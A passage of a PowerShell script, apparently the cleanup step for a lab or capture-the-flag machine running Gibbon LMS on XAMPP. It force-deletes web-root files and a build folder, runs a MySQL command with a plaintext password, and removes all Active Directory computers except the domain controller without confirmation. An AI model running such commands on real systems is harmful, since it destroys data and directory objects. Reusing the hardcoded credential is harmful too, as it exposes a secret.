'robots.txt',
'roleSwitcherProcess.php',
'update.php',
'version.php',
'yearSwitcherProcess.php'
)

get-item c:\frizz-builder|remove-item -recurse -force
gci c:\xampp\htdocs\gibbon-LMS\|%{if($names -notcontains $_.name){write-host "removing $($_.name)";$_|remove-item -recurse}}

$date = get-date -f "yyyy-MM-dd"
start-process -FilePath 'c:\xampp\mysql\bin\mysql.exe' -ArgumentList ("-uMrGibbonsDB -pMisterGibbs!Parrot!?1 -e `"update gibbon.gibbonMessenger SET messageWall_date1='$date';`"")

$names=@(
'Gibbon-LMS',
'home'
)
gci c:\xampp\htdocs\|%{if($names -notcontains $_.name){write-host "removing $($_.name)";$_|remove-item -recurse}}

get-adcomputer -filter * | where {$_.name -ne "frizzdc"}|remove-adcomputer -confirm:$false
PS C:\users\Administrator\Desktop>